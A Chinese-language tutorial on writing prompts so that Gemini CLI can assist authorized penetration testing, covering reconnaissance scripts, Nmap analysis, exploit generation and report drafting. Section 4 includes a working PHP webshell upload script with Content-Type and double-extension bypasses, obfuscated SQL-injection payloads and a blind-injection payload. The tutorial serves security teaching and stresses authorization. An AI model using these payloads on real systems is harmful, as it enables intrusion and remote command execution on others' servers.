AI辅助渗透测试实战:基于Gemini CLI的提示词设计与自动化应用

1. 项目概述:当AI成为渗透测试的“副驾驶”

最近在安全圈里,一个话题的热度持续攀升:如何让AI真正成为渗透测试工程师的“副驾驶”,而不是一个只会说漂亮话的“实习生”。我自己也花了大量时间,尝试了市面上各种大模型和工具,最终把目光锁定在了Google的Gemini CLI上。这不仅仅是因为它免费、本地化部署方便,更重要的是,它的API调用方式非常“程序员友好”,可以无缝集成到我们的自动化工作流和日常命令行操作中。这个项目,就是关于如何设计一套行之有效的提示词(Prompt),让Gemini CLI从一个普通的聊天机器人,变成一个能理解渗透测试上下文、能执行特定安全任务、能输出结构化结果的“智能助手”。

简单来说,我们想解决的问题是:在渗透测试的各个阶段(信息收集、漏洞扫描、利用验证、报告撰写),工程师往往需要重复查询大量命令、翻阅文档、分析杂乱的数据。AI的潜力在于,它能瞬间消化这些信息,并给出精准的建议或直接生成可用的代码片段。但潜力不等于能力,直接问“怎么打这个站?”得到的回答往往空洞无用。核心就在于“提示词设计”——这是一门教AI如何思考、如何工作的“编程语言”。通过这个项目,你将掌握如何为Gemini CLI“编程”,让它帮你快速进行子域名枚举分析、从Nmap结果中提炼攻击面、编写定制化的漏洞利用代码,甚至生成专业的测试报告草稿。无论你是刚入门的安全爱好者,还是想提升效率的资深工程师,这套方法都能让你手中的工具立刻变得“聪明”起来。

2. 核心思路:构建渗透测试的“AI思维链”

让AI辅助渗透测试,绝不是简单地把问题抛给它然后等待奇迹。核心思路是模仿资深安全专家的思考过程,并将这个过程“翻译”成AI能理解并执行的指令序列。这背后依赖一个关键概念:“思维链”(Chain-of-Thought)。我们需要引导AI,而不是命令AI。

2.1 从“模糊提问”到“精准任务拆解”

新手常犯的错误是提出过于宽泛的问题。例如,输入“针对example.com进行渗透测试”。这种提示词注定失败,因为任务太宏大,AI无法聚焦。我们的设计思路是进行任务拆解,将渗透测试生命周期分解为离散的、上下文明确的子任务。

为什么这么做?

  1. 降低复杂度:每个子任务对AI来说目标明确,更容易生成高质量输出。
  2. 提供上下文:前一个任务的输出可以作为下一个任务的输入,模拟了真实测试中的信息累积过程。
  3. 便于验证:小任务的结果更容易被工程师快速验证和纠正,形成“人机协作”的良性循环。

基于此,我设计了一套基础的任务流提示词框架,它不针对具体漏洞,而是定义了AI应该如何与工程师互动:

你是一名专业的渗透测试工程师助手。请严格按照以下流程工作: 1. 当我提供一个目标(如域名、IP地址)时,你首先应询问或确认测试范围、权限(白盒/黑盒)及核心目标。 2. 根据确认的信息,你将为我规划一个分阶段的测试计划大纲,包括:信息收集、威胁建模、漏洞分析、利用验证、报告要点。 3. 在每个阶段,我将提出具体需求(如“请列举针对此目标的子域名枚举方法”或“分析这段Nmap输出”),你需要提供具体的命令、工具参数、代码片段或分析结论。 4. 你提供的所有命令和代码都必须是真实可用、语法正确的,并附带简要解释。 5. 如果我的需求信息不足,你应主动询问关键参数(如端口号、服务版本、观察到的错误信息)。 现在,我们开始。目标:`target.example.com`。假设为授权黑盒测试,目标是发现高危漏洞。请给出第一阶段(信息收集)的建议行动清单。

这个提示词明确了AI的角色、工作流程、交互方式和输出规范,为后续所有具体操作奠定了基础。

2.2 提示词的核心要素:角色、上下文、格式与约束

一个高效的提示词通常包含以下四个要素,我将其称为“提示词四要素”:

  1. 角色定义:告诉AI“你是谁”。例如,“你是一名专注于Web应用安全的渗透测试专家”,这会让AI调用与安全相关的知识库和推理模式,而不是通用聊天模式。
  2. 上下文背景:提供必要的环境信息。包括目标信息、测试类型、前置步骤的结果等。例如,“这是从target.com获取的JavaScript文件列表,其中可能包含API密钥、硬编码密码等敏感信息。”
  3. 具体任务:清晰、无歧义地说明你要AI做什么。使用动作性词汇,如“分析”、“列举”、“对比”、“生成”、“编写”。最好一步一任务。
  4. 输出格式与约束:这是获得可用结果的关键。你必须规定AI输出的形式。
    • 格式:要求以JSON、Markdown表格、列表、代码块等形式输出。
    • 约束:包括“只输出命令”、“不要解释原理”、“优先使用nmapgobuster等工具”、“假设运行在Kali Linux 2024.1环境”等。这能极大减少无关输出,提升效率。

实操心得:在Gemini CLI中,可以通过--format参数或直接在提示词中强调格式要求来控制输出。我发现,明确要求“将结果以Markdown表格形式呈现”或“输出一个可执行的Bash脚本”,比让AI自由发挥得到的结果要干净、有用得多。

3. 实战场景一:信息收集与侦察自动化

信息收集是渗透测试的基石,也是最繁琐的阶段。AI在此阶段可以大显身手,快速生成侦察命令、整合工具链、并初步分析结果。

3.1 子域名枚举与智能分析

传统上,我们可能手动运行subfinderamassassetfinder等多个工具,然后去重、筛选。AI可以帮我们生成一体化的侦察脚本,并对结果进行初步分类。

操作示例:向Gemini CLI发送如下提示词:

你是一个渗透测试自动化专家。我的目标是`example.com`。请生成一个Bash脚本,该脚本依次执行以下任务: 1. 使用`subfinder`、`amass`(passive模式)、`assetfinder`进行子域名枚举。 2. 将以上所有工具的结果合并到一个文件`all_subs.txt`中,并去除重复项。 3. 对`all_subs.txt`中的每个子域名进行HTTP/HTTPS服务存活检测(使用`httpx`),将存活的域名保存到`alive_subs.txt`。 4. 从`alive_subs.txt`中筛选出可能包含管理后台、API接口、测试环境等关键资产的子域名(根据常见关键词如admin、api、dev、test、staging进行匹配),并将这些高风险目标单独列出。 请只输出完整的Bash脚本代码,并添加必要的注释。

AI可能生成的脚本框架:

#!/bin/bash TARGET="example.com" echo "[*] 开始对 $TARGET 进行子域名枚举..." # 1. 使用多种工具枚举 echo "[+] 运行 subfinder..." subfinder -d $TARGET -silent -o subfinder.txt echo "[+] 运行 amass (passive)..." amass enum -passive -d $TARGET -o amass.txt echo "[+] 运行 assetfinder..." assetfinder --subs-only $TARGET > assetfinder.txt # 2. 合并并去重 cat subfinder.txt amass.txt assetfinder.txt | sort -u > all_subs.txt echo "[*] 发现总计 $(wc -l < all_subs.txt) 个唯一子域名。" # 3. HTTP存活探测 echo "[+] 使用 httpx 探测存活服务..." httpx -l all_subs.txt -silent -o alive_subs.txt echo "[*] 存活服务: $(wc -l < alive_subs.txt) 个。" # 4. 筛选高风险目标 echo "[+] 筛选高风险子域名(管理后台、API等)..." HIGH_RISK_KEYWORDS="admin api dev test staging portal backup" for keyword in $HIGH_RISK_KEYWORDS; do grep -i $keyword alive_subs.txt done | sort -u > high_risk_subs.txt echo "[*] 高风险目标已保存至 high_risk_subs.txt"

注意事项

  • AI生成的脚本可能需要微调,比如工具路径、参数别名(你的系统里assetfinder命令可能不同)。但它提供了一个极佳的、可立即修改的起点。
  • 可以要求AI增加步骤,例如对存活域名进行截图(使用gowitness)或提取标题(httpx -title)。

3.2 Nmap扫描结果快速解读

面对一份冗长的Nmap扫描报告,快速定位潜在攻击点是项关键技能。我们可以让AI充当第一轮分析员。

操作示例:将你的Nmap扫描结果(-oG-oX格式更好)保存到文件nmap_scan.txt,然后向Gemini CLI发送提示词:

你是一名网络安全分析师。以下是一份Nmap扫描结果摘要。请分析并列出: 1. 所有开放的端口及其对应的服务、版本信息。 2. 识别其中可能存在的、已知与高危漏洞关联的服务版本(例如,Apache Tomcat 8.5.19以下,OpenSSH 7.4以下等)。 3. 针对每个潜在风险服务,建议1-2条下一步深入探测或利用的命令(例如,使用`nikto`扫描Web端口,使用`searchsploit`查找对应服务版本的漏洞)。 请以Markdown表格形式呈现分析结果。 扫描结果如下:

(在此粘贴你的nmap_scan.txt内容)

**AI输出的分析表示例:** | 端口 | 协议 | 服务 | 版本 | 风险提示 | 建议行动 | | :--- | :--- | :--- | :--- | :--- | :--- | | 22/tcp | ssh | OpenSSH | 7.2p2 | 版本较旧(<7.4),存在多个已知漏洞(CVE-2016-6210等) | 1. `searchsploit openssh 7.2p2` <br> 2. 检查是否支持弱密码或默认密钥 | | 80/tcp | http | Apache httpd | 2.4.29 | Apache 2.4.29-2.4.48存在路径穿越漏洞(CVE-2021-41773) | 1. `nikto -h http://target:80` <br> 2. 手动测试`/icons/.%%32%65/` | | 3306/tcp | mysql | MySQL | 5.7.33 | 若配置不当,可能存在未授权访问 | 1. `nmap -p 3306 --script mysql-empty-password target` <br> 2. 尝试使用`mysql`客户端匿名连接 | **实操心得**:对于XML格式(`-oX`)的输出,可以要求AI进行更结构化的解析。例如:“解析此Nmap XML文件,提取所有`<service>`标签,并对比CVE数据库(基于常见版本漏洞)生成风险评级。”虽然Gemini CLI不能直接联网查询CVE,但你可以提供一份本地简化的版本-漏洞映射表作为上下文。 ## 4. 实战场景二:漏洞利用与代码生成 在发现潜在漏洞后,我们经常需要编写或调整利用代码。AI在理解漏洞原理和生成PoC(概念验证)代码方面表现出色。 ### 4.1 根据漏洞描述生成利用代码 当你从一个模糊的漏洞公告或描述中获取信息时,可以让AI帮你将其转化为具体的测试步骤。 **操作示例:** 假设我们了解到“某CMS的v1.0版本`/api/upload`接口存在未授权文件上传,仅检查了`Content-Type`头”。提示词可以这样设计:

你是一名渗透测试工程师。我需要测试一个文件上传漏洞。已知信息:

  • 目标URL:http://target.com/api/upload
  • 漏洞点:该接口未进行身份验证,仅通过检查HTTP请求的Content-Type头部来判断是否为合法图片。
  • 限制:后端可能只允许image/jpegimage/png。 请为我:
  1. 编写一个Python的PoC脚本,使用requests库,绕过Content-Type检查,上传一个包含简单Webshell(如<?php system($_GET[‘c’]);?>)的.php文件。
  2. 在脚本中,演示两种常见的绕过技巧:a) 伪造Content-Type: image/jpeg。 b) 通过修改文件名后缀为.php.jpg(双后缀)尝试绕过。
  3. 脚本应包含尝试上传、检查响应状态码和内容,以判断是否成功。 请只输出完整的Python代码,并添加注释。
**AI生成的代码框架:** ```python import requests import sys def upload_webshell(url, webshell_content): """ 尝试绕过Content-Type检查上传Webshell """ # 目标URL upload_url = url.rstrip('/') + '/api/upload' # 准备恶意文件内容 malicious_file = webshell_content # e.g., "<?php system($_GET['c']);?>" # 方法1:直接伪造Content-Type files = {'file': ('shell.php', malicious_file, 'image/jpeg')} # 关键:伪造为jpeg类型 headers = {'User-Agent': 'Mozilla/5.0'} print(f"[*] 尝试方法1:伪造Content-Type为image/jpeg...") try: resp = requests.post(upload_url, files=files, headers=headers, timeout=10) print(f" 状态码: {resp.status_code}") print(f" 响应摘要: {resp.text[:200]}") if resp.status_code == 200 and 'success' in resp.text.lower(): print("[!] 方法1可能上传成功!请检查响应中文件路径。") except Exception as e: print(f" 请求失败: {e}") # 方法2:使用双后缀文件名 files2 = {'file': ('shell.php.jpg', malicious_file, 'image/jpeg')} print(f"\n[*] 尝试方法2:使用双后缀文件名(shell.php.jpg)...") try: resp2 = requests.post(upload_url, files=files2, headers=headers, timeout=10) print(f" 状态码: {resp2.status_code}") print(f" 响应摘要: {resp2.text[:200]}") except Exception as e: print(f" 请求失败: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"用法: {sys.argv[0]} <目标基础URL>") sys.exit(1) target = sys.argv[1] webshell = "<?php system($_GET['c']);?>" # 简单的Webshell upload_webshell(target, webshell)

注意事项

  • 安全与授权务必、务必、务必只在你有明确授权的目标上运行此类脚本。AI生成的利用代码可能具有攻击性。
  • 代码需要调试:AI生成的代码是很好的起点,但可能无法直接运行(比如依赖处理、目标具体参数)。你需要具备基本的代码阅读和调试能力。
  • 迭代优化:如果第一次生成的代码不工作,可以将错误信息反馈给AI,让它进行修正。例如:“上述脚本返回403错误,目标可能还检查了Referer头或使用了CSRF令牌。请修改脚本,尝试添加常见的Referer头(如目标本身域名)并处理可能的CSRF令牌。”

4.2 SQL注入载荷的变体生成与混淆

在手动测试SQL注入时,我们经常需要尝试多种载荷格式来绕过WAF或简单的过滤。AI可以快速生成一系列变体。

操作示例:

你正在测试一个疑似存在SQL注入的登录框,参数是`username`和`password`。初步测试发现单引号`‘`会引发数据库错误。请生成10个用于`username`字段的、用于探测和利用Union注入的载荷变体。要求: 1. 包含经典的`‘ OR ‘1’=’1`及其各种编码、注释变体。 2. 包含使用`UNION SELECT`探测列数的载荷。 3. 尝试使用不同的空白符(如`/**/`)、大小写混淆、内联注释(`/*!*/`)。 4. 每个载荷一行,并简要说明其意图或绕过思路。

AI可能生成的载荷列表:

1. admin‘ OR ‘1’=’1 -- - (经典永不过时,注释掉后续部分) 2. admin‘ OR ‘1’=’1 # (使用MySQL的#号注释) 3. admin‘ OR ‘1’=’1%00 (使用空字节截断,在某些环境下有效) 4. admin‘ OR ‘1’=’1/*!*/ (使用MySQL内联注释,可能绕过空格过滤) 5. admin‘/**/OR/**/‘1’=’1-- - (使用注释符作为空白符) 6. aDmIn‘ Or ‘1’=’1 -- - (大小写混淆,绕过简单的关键字检测) 7. ‘ UNION SELECT NULL -- - (探测单列) 8. ‘ UNION SELECT NULL,NULL -- -(探测两列) 9. ‘/*!UNION*//*!SELECT*/NULL,NULL,NULL -- - (内联注释包裹关键字) 10. ‘%55%4e%49%4f%4e %53%45%4c%45%43%54 NULL -- - (URL编码绕过)

实操心得:你可以将这个列表保存为.txt文件,然后通过Burp Suite Intrudersqlmap--tamper脚本灵感来源。更进一步,你可以要求AI直接编写一个简单的Python脚本,用于对基础载荷进行随机大小写转换或插入注释符,实现动态载荷生成。

5. 实战场景三:报告撰写与知识管理

渗透测试的最后一环,也是最能体现价值的一环,是报告撰写。AI可以帮助我们从零散的数据中提炼发现,组织语言,生成报告初稿。

5.1 从发现到报告段落

将你的漏洞发现(如手动测试步骤、工具输出)整理成简洁的要点,让AI将其转化为专业的报告段落。

操作示例:

你是一名渗透测试报告撰写专家。请将以下漏洞发现,按照“漏洞描述”、“风险等级”、“受影响组件”、“重现步骤”、“修复建议”的结构,编写成专业的报告段落。 漏洞发现: - 目标:http://internal-app.corp.com - 漏洞类型:敏感信息泄露 - 路径:访问 `http://internal-app.corp.com/.git/` 目录,发现可以目录遍历,下载了`.git`文件夹。 - 影响:通过`git`历史记录,可以恢复出源代码、数据库配置文件(内含明文密码)、API密钥。 - 重现:1. 使用浏览器或`curl`访问上述URL。 2. 使用`wget -r`递归下载。 3. 使用`git log`和`git diff`分析历史。 - 风险:高,直接导致源码和核心凭据泄露。 请输出格式清晰的Markdown内容。

AI生成的报告段落:漏洞标题:.git目录未授权访问导致源代码及敏感信息泄露

  • 漏洞描述:目标Web应用(http://internal-app.corp.com)的.git版本控制目录暴露在公网且未设置访问权限限制。攻击者可直接访问并下载完整的.git文件夹,进而通过git命令恢复历史版本,获取应用程序的完整源代码、数据库连接配置文件、硬编码的API密钥及其他敏感凭据。
  • 风险等级:高危
  • 受影响组件http://internal-app.corp.com根目录及其.git子目录。
  • 重现步骤
    1. 使用任意HTTP客户端(如浏览器、cURL)访问URL:http://internal-app.corp.com/.git/
    2. 确认可列出目录内容或直接下载index等git对象文件。
    3. 使用wget -r http://internal-app.corp.com/.git/递归下载整个目录。
    4. 在本地使用git loggit checkout等命令恢复历史提交,提取源代码和配置文件。
  • 修复建议
    1. 立即措施:在Web服务器(如Apache的.htaccess或Nginx的location配置)中,添加规则禁止访问.git目录。示例(Nginx):location ~ /\.git { deny all; return 404; }
    2. 根本措施:将.git目录移出Web根目录,或确保构建部署流程不会将版本控制文件同步到生产环境。
    3. 安全扫描:使用静态应用安全测试(SAST)工具对已泄露的源代码进行扫描,评估已泄露凭据的风险,并及时轮换所有相关的API密钥和数据库密码。
**注意事项**:AI生成的修复建议通常是通用性的。你需要结合目标实际的技术栈(如使用的是IIS还是Tomcat)进行修改和具体化。但它提供了一个非常扎实的初稿,节省了大量组织语言的时间。 ### 5.2 构建个人化的渗透测试知识库 我们可以利用Gemini CLI的对话上下文能力,构建一个动态的“经验记录本”。例如,在每次测试结束后,你可以这样总结:

(在同一个Gemini CLI会话中,之前已经讨论过SQL注入测试) 本次针对portal.example.com的测试,我们发现了一个基于时间的盲注漏洞。与之前讨论的Union注入不同,这个漏洞位于/api/userinfoid参数,仅通过响应延迟判断。我们最终使用的有效载荷是:id=1‘ AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(2), 0) -- -。 请将这一条新的漏洞案例,按照“漏洞类型”、“检测方法”、“独特载荷”、“利用工具(如果有)”、“参考链接”的格式,添加到我们的“SQL注入案例集”中。请用Markdown表格的一行来呈现。

通过这种方式,你可以不断地在一个对话线程中,积累经过实战验证的漏洞模式、有效载荷和技巧。这个“对话线程”就成了一个由你训练、为你服务的个性化知识库。你可以随时要求AI基于这个案例集,为你生成针对新目标的测试检查清单。 **常见问题与排查技巧实录** 在实际使用Gemini CLI进行AI辅助渗透测试时,你肯定会遇到一些“坑”。这里记录了几个最常见的问题和我的解决思路。 **Q1:AI生成的命令或代码执行报错,怎么办?** **A1**:这是最常遇到的问题。首先,**不要完全信任AI的输出**。将其视为一个强大的“实习生”。 * **检查环境差异**:AI给出的命令可能基于Kali Linux最新版,而你的环境可能工具版本不同、路径不同。仔细阅读错误信息,调整工具名称或参数。例如,AI说用`dirb`,但你系统里可能叫`dirbuster`,或者你需要指定完整路径。 * **提供错误反馈**:将完整的错误信息复制给AI,并要求它修正。提示词可以是:“你之前提供的脚本在运行到`amass`命令时报错`command not found`。请检查并修正脚本,假设我的环境中`amass`需要通过`docker run`调用,请修改相应部分。” * **分解任务**:如果是一个复杂的脚本,让AI分步解释或生成。先让它输出思路,再生成部分代码,逐步验证。 **Q2:AI的回答过于笼统,缺乏实战价值,怎么办?** **A2**:这通常是因为提示词不够具体,或者缺乏上下文。 * **增加约束和场景**:不要问“怎么进行横向移动?”,要问“在已获取一台Windows 10内网主机的普通用户权限后,接下来使用哪些命令(如`net view`, `powerview.ps1`)来发现域内其他主机和用户?请列出具体命令和解析输出的关键点。” * **提供“种子”信息**:先给AI喂一些高质量的数据。例如,在让它分析Nmap结果前,先给它一段你手动分析好的范例,告诉它你关注的模式(如“我通常关注非标准端口、过时的服务版本、`http-title`中的框架信息”)。 * **要求结构化输出**:明确要求以列表、表格、JSON格式输出,这能迫使AI进行逻辑归纳,减少废话。 **Q3:Gemini CLI的响应速度慢,或者上下文长度不够,怎么办?** **A3**:处理长文本或复杂逻辑时确实会遇到。 * **分而治之**:将一个大任务拆分成多个小任务,分多次对话完成。例如,先让AI分析端口扫描结果,再基于开放端口(如80)深入分析Web应用。 * **总结和提炼**:对于很长的工具输出(如`nikto`扫描结果),先自己或让AI进行一轮摘要:“从以下Nikto输出中,只提取出状态为`HIGH`的风险项和对应的URL路径。”然后将这个摘要作为上下文进行下一步分析。 * **利用文件交互**:Gemini CLI支持从文件读取输入。可以将你的扫描结果保存为`scan.txt`,然后使用命令如`gemini -f scan.txt “分析此扫描结果中的高危漏洞”`。这比在终端里粘贴大段文本更可靠。 **Q4:如何确保AI建议的操作符合安全规范和授权范围?** **A4**:**AI没有道德观念,你有。** 这是最重要的原则。 * **在提示词中明确约束**:每次开启一个新的测试任务对话时,第一句提示词就应强调:“所有建议的操作仅用于在已获得明确书面授权的目标上进行安全测试。不得建议或生成用于非法入侵、破坏的代码。” * **人工审查每一行代码**:在将AI生成的任何脚本、命令用于真实环境前,必须逐行理解其作用。特别是涉及下载、执行远程代码、删除文件等危险操作时。 * **在隔离环境中测试**:先在虚拟机、Docker容器或专门的测试靶场(如DVWA、Vulnhub)中运行AI生成的利用代码,验证其有效性和安全性。 **Q5:对于最新的、未广泛披露的漏洞(0-day),AI有用吗?** **A5**:AI的知识存在截止日期(Gemini的训练数据不是实时的),对于最新的0-day,它可能一无所知或提供过时信息。 * **管理预期**:不要指望AI直接告诉你一个未知的0-day。它的价值在于: * **辅助分析**:当你从其他渠道(如推特、漏洞平台)获得一些模糊的漏洞描述或PoC片段时,AI可以帮助你理解原理,并将其适配到你的目标环境。 * **模式识别**:即使面对新漏洞,其利用模式(如反序列化、内存破坏)可能是相似的。AI可以帮你快速构建类似模式的测试用例。 * **编写EXP**:如果你有漏洞的详细技术细节,AI可以帮你快速编写出利用脚本的框架,节省大量编码时间。 最后一点个人体会是,AI辅助渗透测试,目前阶段最像是一个“超级加速器”和“永不疲倦的初级研究员”。它能瞬间完成信息检索、模式匹配和代码草稿生成,将你从重复劳动中解放出来。但它无法替代你的核心能力:对安全原理的深刻理解、在复杂环境下的逻辑推理、对攻击面的创造性思维,以及最重要的——职业操守和判断力。学会设计好的提示词,就是学会如何高效地驾驭这个强大的工具,让它将你的专业能力放大,而不是被它牵着鼻子走。真正的测试,始终始于你的大脑,也终于你的判断。